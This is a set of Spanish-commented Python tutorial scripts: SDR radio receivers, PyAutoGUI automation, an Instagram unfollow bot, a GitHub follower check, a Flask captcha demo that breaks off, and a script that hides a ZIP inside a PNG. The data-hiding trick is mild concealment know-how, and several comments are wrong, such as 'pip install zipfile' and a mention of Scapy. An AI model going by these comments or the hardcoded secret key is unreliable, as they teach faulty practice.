43 | plt.figure(figsize=(12, 6))
44 | plt.plot(np.array(frequencies)/1e6, powers, lw=0.5)
45 | plt.title("Espectro de Frecuencia (Barrido RTL-SDR)")
46 | plt.xlabel("Frecuencia (MHz)")
47 | plt.ylabel("Potencia (dB)")
48 | plt.grid(True)
49 | plt.tight_layout()
50 | plt.show()
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/05_PyAutoGUI_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala PyAutoGUI con el siguiente comando "pip install PyAutoGUI"
2 | import pyautogui
3 | import time
4 |
5 | #Con la funcion alert, mostramos en pantalla un mensaje con la informacion que queremos
6 | #En este caso mostramos un size, que es el tamaño de la pantalla
7 | pyautogui.alert(pyautogui.size())
8 | #Se le da 5 segundos, por si el computadr es lento
9 | time.sleep(5)
10 | #En este caso mostramos un position, que es la ubicacion del maus en la pantalla
11 | pyautogui.alert(pyautogui.position())
12 | #Se le da 5 segundos, por si el computadr es lento
13 | time.sleep(5)
14 | #Con las 2 funciones siguientes, se mueve el mause hacia una coordenada exacta.
15 | #Con moveTo, el puntero del mause llega rapido y con moverel, se demora su transporte
16 | pyautogui.moveTo(15,15, duration=3)
17 | pyautogui.moveRel(500,500, duration=3)
18 | #Con el siguiente codigo se presiona el boton windows
19 | pyautogui.press("win")
20 | #Se le da 3 segundos, por si el computadr es lento
21 | time.sleep(3)
22 | #Con la caracteristica write de pyautogui, escribimos la palabra excel con un intervalo de 0.1 segundos y luego damos enter
23 | pyautogui.write("excel", interval = 0.10)
24 | pyautogui.press("enter")
25 | #Esperamos 10 segundos para que abra el excel
26 | time.sleep(10)
27 | #Luego damos enter para abrir una pagina nueva de excel y posteriormente se escribe un texto
28 | pyautogui.press("enter")
29 | pyautogui.write("hola, soy un texto escrito", interval = 0.05)
30 | #Luego movemos 1 vez hacia abajo y 1 vez a la derecha, para luego ingresar un numero y dar enter
31 | pyautogui.press(['down', 'right'])
32 | pyautogui.write('+1+3')
33 | pyautogui.press("enter")
34 | #Por ultimo damos el grupo de comandos para guardar y mostramos un alerta de terminar el software
35 | pyautogui.hotkey('ctrl', 's')
36 | pyautogui.alert('Terminamos el script.')
37 |
38 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/23_Instagrapi_Instagram_Dejar_De_Seguir.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para dejar de seguir usuarios en instagram
2 | # Se usaran 2 librerias os y instagrapi
3 | # Primero se instala captcha con el siguiente comando "pip install instagrapi"
4 | import os
5 | from instagrapi import Client
6 | import time
7 |
8 | usuario = "Usuario_Instagram"
9 | contraseña = "Contraseña"
10 |
11 | # Ruta para guardar sesión
12 | SESSION_PATH = "session.json"
13 | # Crear cliente
14 | cl = Client()
15 |
16 | # Intentar cargar sesión existente
17 | if os.path.exists(SESSION_PATH):
18 | cl.load_settings(SESSION_PATH)
19 | try:
20 | cl.login(usuario, contraseña)
21 | print("(+) Se logueo")
22 | except Exception as e:
23 | print("(+-) Sesión caducada. Reautenticando...")
24 | cl.set_settings({})
25 | cl.login(usuario, contraseña)
26 | cl.dump_settings(SESSION_PATH)
27 | print("(+) Se logueo")
28 | else:
29 | cl.login(usuario, contraseña)
30 | cl.dump_settings(SESSION_PATH)
31 | print("(+) Se logueo")
32 |
33 | # Leer usernames del archivo
34 | with open("no_en_ambas.txt", "r", encoding="utf-8") as archivo:
35 | usernames = [line.strip() for line in archivo if line.strip()]
36 | print("(+) Se cargaron los datos del .txt")
37 | # Dejar de seguir a cada uno
38 | unfollow_count = 0
39 |
40 | for username in usernames:
41 | try:
42 | user_id = cl.user_id_from_username(username)
43 | if cl.user_unfollow(user_id):
44 | print(f"(+) Dejaste de seguir a: {username}")
45 | unfollow_count += 1
46 | else:
47 | print(f"(-) No se pudo dejar de seguir a: {username}")
48 | except Exception as e:
49 | print(f"(+-) Error con {username}: {e}")
50 | time.sleep(50) # ⏳ Pausa para evitar bloqueos
51 |
52 | print(f"\n(+) Total dejado de seguir: {unfollow_count}")
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/20_Requests_Github_Quien_NoMe_Sigue.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para consultar seguidos y seguidores en un github
2 | # Luego se guarda en un txt los que no estan en las 2 listas Se usaran
3 | # Primero se instala captcha con el siguiente comando "pip install flask requests"
4 | import requests
5 |
6 | # 👇 Cambia esto con tu nombre de usuario de GitHub
7 | username = 'Usuario_github'
8 |
9 | # 👇 Si tienes token, pégalo aquí. Si no, déjalo como ''
10 | token = 'Token_Alfanumerico' # opcional pero recomendado
11 |
12 | # Cabecera para autenticar con token (si lo usas)
13 | headers = {'Authorization': f'token {token}'} if token else {}
14 |
15 | # Función para obtener usuarios paginados (followers o following)
16 | def get_paginated_users(url):
17 | users = []
18 | while url:
19 | response = requests.get(url, headers=headers)
20 | response.raise_for_status()
21 | data = response.json()
22 | users.extend([user['login'] for user in data])
23 | # Revisa si hay otra página
24 | url = response.links.get('next', {}).get('url')
25 | return users
26 |
27 | # URLs de API
28 | followers_url = f'https://api.github.com/users/{username}/followers'
29 | following_url = f'https://api.github.com/users/{username}/following'
30 |
31 | print("(+) Obteniendo seguidores...")
32 | followers = get_paginated_users(followers_url)
33 |
34 | print("(+) Obteniendo seguidos...")
35 | following = get_paginated_users(following_url)
36 |
37 | # Comparar listas: quiénes sigues que NO te siguen
38 | no_te_siguen = [user for user in following if user not in followers]
39 |
40 | # Guardar en archivo
41 | with open('no_me_siguen.txt', 'w', encoding='utf-8') as f:
42 | for user in no_te_siguen:
43 | f.write(user + '\n')
44 |
45 | print(f"\n(+) Usuarios que sigues y no te siguen: {len(no_te_siguen)}")
46 | print("(+) Guardado en archivo: no_me_siguen.txt")
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/01_Receptor_Sencillo_Radio_Pyrtlsdr.py:
--------------------------------------------------------------------------------
1 | # En este codigo se muestra un ejemplo de receptor de señales de radio
2 | # y tambien como usar la libreria RtlSdr
3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr
4 | import numpy as np
5 | from rtlsdr import RtlSdr
6 | from scipy.signal import decimate, butter, lfilter
7 | import sounddevice as sd
8 |
9 | # Se configuran las caracteristicas de sdr radio frecuencia
10 | Radio_frecuencia = RtlSdr()
11 | Radio_frecuencia.sample_rate = 2.4e6 # Frecuencia de muestreo
12 | Radio_frecuencia.center_freq = 100.0e6 # Frecuencia de estación FM (100 MHz por ejemplo)
13 | Radio_frecuencia.gain = 40
14 |
15 | # Con la siguiente funcion se demodula la señal
16 | def fm_demodulate(iq):
17 | phase = np.angle(iq[1:] * np.conj(iq[:-1]))
18 | return phase
19 |
20 | # En la siguiente funcion se filtra la señal
21 | def lowpass_filter(data, cutoff, fs, order=5):
22 | from scipy.signal import butter, lfilter
23 | nyq = 0.5 * fs
24 | norm_cutoff = cutoff / nyq
25 | b, a = butter(order, norm_cutoff, btype='low')
26 | return lfilter(b, a, data)
27 |
28 | try:
29 | print("Se esta recibiendo la radio FM... Si quiere detenerlo CTL + C")
30 | while True:
31 | # Se capturan los datos actuales
32 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024)
33 |
34 | # Demodulación FM
35 | audio = fm_demodulate(Muestra_ejemplo)
36 |
37 | # Filtro y reducción de tasa para reproducir como audio
38 | audio = lowpass_filter(audio, cutoff=16e3, fs=2.4e6)
39 | audio = decimate(audio, int(2.4e6 / 48e3))
40 |
41 | # Normalizar y reproducir
42 | audio /= np.max(np.abs(audio))
43 | sd.play(audio, 48000, blocking=True)
44 |
45 | except KeyboardInterrupt:
46 | print("\n La Recepción de señal fue detenida.")
47 | finally:
48 | Radio_frecuencia.close()
49 | sd.stop()
50 |
51 |
52 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/03_Analisador_Espectro_Pyrtlsdr.py:
--------------------------------------------------------------------------------
1 | # En este codigo se muestra un analisador de señales de radio
2 | # y tambien como usar la libreria RtlSdr
3 | # pip install numpy matplotlib pyrtlsdr scipy
4 |
5 | import numpy as np
6 | import matplotlib.pyplot as plt
7 | from rtlsdr import RtlSdr
8 | import time
9 |
10 | # Primero inicializamos el RtlSdr
11 | Radio_frecuencia = RtlSdr()
12 |
13 | # Luego procedemos a configurar sus caracteristicas
14 | Radio_frecuencia.sample_rate = 2.4e6 # Frecuencia de muestreo (Hz)
15 | Radio_frecuencia.center_freq = 100e6 # Frecuencia central (Hz) — puedes cambiarla, por ejemplo 100 MHz
16 | Radio_frecuencia.gain = 'auto' # Ganancia automática
17 |
18 | # Tambien usamos matplot para crear la grafica que muestra la señal
19 | plt.ion()
20 | fig, ax = plt.subplots()
21 | line, = ax.plot([], [], lw=1)
22 | ax.set_xlim(0, Radio_frecuencia.sample_rate / 1e6)
23 | ax.set_ylim(-100, 0)
24 | ax.set_xlabel('Frecuencia (MHz)')
25 | ax.set_ylabel('Potencia (dB)')
26 |
27 | # Esta funcion muestra como sacar datos de la señal escogida
28 | def update_spectrum():
29 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024)
30 | # Calcular FFT y convertir a escala logarítmica
31 | fft_vals = np.fft.fftshift(np.fft.fft(Muestra_ejemplo))
32 | psd = 20 * np.log10(np.abs(fft_vals))
33 | freqs = np.linspace(-Radio_frecuencia.sample_rate/2, Radio_frecuencia.sample_rate/2, len(psd)) / 1e6 # MHz
34 |
35 | # Se ingresan los datos a la grafica
36 | line.set_xdata(freqs)
37 | line.set_ydata(psd)
38 | fig.canvas.draw()
39 | fig.canvas.flush_events()
40 |
41 | # Se crea un while para mostrar la grafica en tiempo real
42 | print("Se esta mostrando en pantalla la señal de radio")
43 | try:
44 | while True:
45 | update_spectrum()
46 | time.sleep(0.1)
47 | except KeyboardInterrupt:
48 | print("\n Se detuvo por orden del usuario.")
49 | finally:
50 | Radio_frecuencia.close()
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/15_Convertir_Sonido_Frecuencias_Diferente.py:
--------------------------------------------------------------------------------
1 | # Con este codigo se crea un software que emite sonido grabados
2 | # En frecuencias no audibles
3 | # Con la libreria de python Scapy
4 | # pip install pydub simpleaudio numpy pydub ffmpeg-python
5 |
6 | from pydub import AudioSegment
7 | import numpy as np
8 | import simpleaudio as sa
9 | import os
10 |
11 | # Se solicita el audio y la frecuencia a convertir
12 | audio_path = input("Por favor ingrese el archivo MP3 o WAV: ")
13 | freq = float(input("Por favor anexe la nueva frecuencia (Hz) para modificar el audio: "))
14 |
15 | # Se carga el audio
16 | audio = AudioSegment.from_file(audio_path)
17 | samples = np.array(audio.get_array_of_samples()).astype(np.float32)
18 | sample_rate = audio.frame_rate
19 |
20 | print(f"La frecuencia original del audio es: {sample_rate} Hz")
21 | print(f"La nueva frecuencia del audio es: {freq} Hz")
22 |
23 | # La siguiente parte del codigo convierte el audio en los herz indicados
24 | factor = freq / sample_rate # escala del tiempo
25 | indices = np.round(np.arange(0, len(samples), factor))
26 | indices = indices[indices < len(samples)].astype(int)
27 | modified_samples = samples[indices]
28 |
29 | # Se quita la distorcion
30 | modified_norm = modified_samples * (32767 / np.max(np.abs(modified_samples)))
31 | modified_int16 = modified_norm.astype(np.int16)
32 |
33 | # Se crea el audio MP3 con la nueva frecuencia
34 | new_audio = AudioSegment(
35 | modified_int16.tobytes(),
36 | frame_rate=sample_rate,
37 | sample_width=2,
38 | channels=1
39 | )
40 |
41 | # Se guarda el archivo con el sonido
42 | output_name = "audio_modificado.mp3"
43 | new_audio.export(output_name, format="mp3")
44 | print(f"El archivo generado es: {output_name}")
45 |
46 | # Se procede a reproducir el audio
47 | print("Reproduciendo el audio modificado…")
48 | play_obj = sa.play_buffer(modified_int16, 1, 2, sample_rate)
49 | play_obj.wait_done()
50 |
51 | print("Fin del proceso")
52 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/02_Decodificador_RadioFM_Pyrtlsdr_.py:
--------------------------------------------------------------------------------
1 | # En este codigo se muestra un decodificador FM de señales de radio
2 | # y tambien como usar la libreria RtlSdr
3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr
4 | import numpy as np
5 | from rtlsdr import RtlSdr
6 | import matplotlib.pyplot as plt
7 | from scipy.signal import decimate, butter, lfilter
8 | import sounddevice as sd
9 |
10 |
11 | # Inicializar el SDR
12 | Radio_frecuencia = RtlSdr()
13 | Radio_frecuencia.sample_rate = 2.4e6 # Hz
14 | Radio_frecuencia.center_freq = 100.0e6 # 100 MHz, cambia a una estación local
15 | Radio_frecuencia.gain = 40
16 |
17 | def fm_demodulate(iq_signal):
18 | angle = np.angle(iq_signal[1:] * np.conj(iq_signal[:-1]))
19 | return angle
20 |
21 | # Filtro pasa-bajo para aislar canal de audio
22 | def butter_lowpass(cutoff, fs, order=5):
23 | nyq = 0.5 * fs
24 | norm_cutoff = cutoff / nyq
25 | b, a = butter(order, norm_cutoff, btype='low')
26 | return b, a
27 |
28 | def lowpass_filter(data, cutoff, fs, order=5):
29 | b, a = butter_lowpass(cutoff, fs, order=order)
30 | return lfilter(b, a, data)
31 |
32 | # Creamos un bucle para recibir la señal
33 | try:
34 | print("Se muestra la señal que esta modulada en FM")
35 | while True:
36 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024)
37 |
38 | # Demodular FM
39 | demodulated = fm_demodulate(Muestra_ejemplo)
40 |
41 | # Filtrar y decimar para obtener audio (de ~2400000 Hz a 48000 Hz)
42 | audio = lowpass_filter(demodulated, cutoff=16e3, fs=2.4e6)
43 | audio = decimate(audio, int(2.4e6 / 48e3))
44 |
45 | # Procedemos a normalizar el audio con np
46 | audio /= np.max(np.abs(audio))
47 |
48 | # Reproducir audio
49 | sd.play(audio, 48000, blocking=True)
50 |
51 | except KeyboardInterrupt:
52 | print("\n En espera...")
53 | finally:
54 | Radio_frecuencia.close()
55 | sd.stop()
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/02_ZipFile_Esteganografia_encriptacion.py:
--------------------------------------------------------------------------------
1 | # En el siguiente codigo de programacion, se muestra una forma sencilla
2 | # De guardar un archivo texto en una imagen png
3 | # Pirmero descargamos y usamos las librerias
4 | # Primero se instala zipfile con el siguiente comando
5 | # "pip install zipfile"
6 |
7 |
8 | import zipfile
9 | from PIL import Image
10 |
11 | # La siguiente funcion sirve para crear un archivo texto con una informacion
12 | def crear_txt(nombre_txt, contenido):
13 | with open(nombre_txt, 'w') as f:
14 | f.write(contenido)
15 | print(f"El archivo .txt se creo sin problemas: {nombre_txt}")
16 |
17 | # Con esta funcion se crea una imagen con un nombre indicado
18 | def crear_imagen_png(nombre_imagen):
19 | img = Image.new('RGB', (200, 200), color='lightgreen')
20 | img.save(nombre_imagen)
21 | print(f"Imagen PNG creada: {nombre_imagen}")
22 |
23 | # En este codigo se muestra como meter un archivo texto a un archivo comprimido zip
24 | def crear_zip(nombre_zip, archivo_txt):
25 | with zipfile.ZipFile(nombre_zip, 'w') as zipf:
26 | zipf.write(archivo_txt)
27 | print(f"[✔] ZIP creado: {nombre_zip}")
28 |
29 | # En este codigo se explica como ingresarle el texto a la imagen con un archivo zip
30 | def fusionar_imagen_y_zip(imagen_png, archivo_zip, salida_png_con_zip):
31 | with open(imagen_png, 'rb') as img_file:
32 | datos_img = img_file.read()
33 |
34 | with open(archivo_zip, 'rb') as zip_file:
35 | datos_zip = zip_file.read()
36 |
37 | with open(salida_png_con_zip, 'wb') as salida:
38 | salida.write(datos_img)
39 | salida.write(datos_zip)
40 |
41 | print(f"La imagen quedo con el zip comprimido adentro: {salida_png_con_zip}")
42 |
43 | # EJECUTAR FLUJO COMPLETO
44 | crear_imagen_png('imagen_base.png')
45 | crear_zip('archivo.zip', 'Texto_a_guardar.txt')
46 | fusionar_imagen_y_zip('imagen_base.png', 'archivo.zip', 'imagen_con_mensaje.png')
47 |
48 |
49 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/17_Captcha.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para crear y validar un captcha
2 | # Se usaran 3 librerias flask, captcha y random, para crear la imagen chaptcha
3 | # Primero se instala captcha con el siguiente comando "pip install flask captcha pillow"
4 | from flask import Flask, session, request, send_file, render_template_string, redirect, url_for
5 | from captcha.image import ImageCaptcha
6 | import random
7 | import string
8 | import io
9 |
10 | app = Flask(__name__)
11 | app.secret_key = 'clave_secreta_segura' # Necesaria para usar sesiones
12 |
13 | # Generador de texto CAPTCHA
14 | def generar_texto(longitud=5):
15 | return ''.join(random.choices(string.ascii_uppercase + string.digits, k=longitud))
16 |
17 | @app.route('/')
18 | def index():
19 | return render_template_string('''
20 |
Por favor, Introduce el texto que ves en la imagen:
21 |
26 | ''')
27 |
28 | @app.route('/captcha')
29 | def captcha():
30 | imagen_capchat = ImageCaptcha()
31 | texto = generar_texto()
32 | session['captcha_texto'] = texto # Guardamos el texto en la sesión
33 | data = imagen_capchat.generate(texto)
34 | return send_file(data, mimetype='image/png')
35 |
36 | @app.route('/verificar', methods=['POST'])
37 | def verificar():
38 | texto_ingresado_usuario = request.form['captcha_input']
39 | captcha_correcto = session.get('captcha_texto', '')
40 | # Con el siguiente if, se valida que el captcha sea correcto
41 | if texto_ingresado_usuario.upper() == captcha_correcto:
42 | return "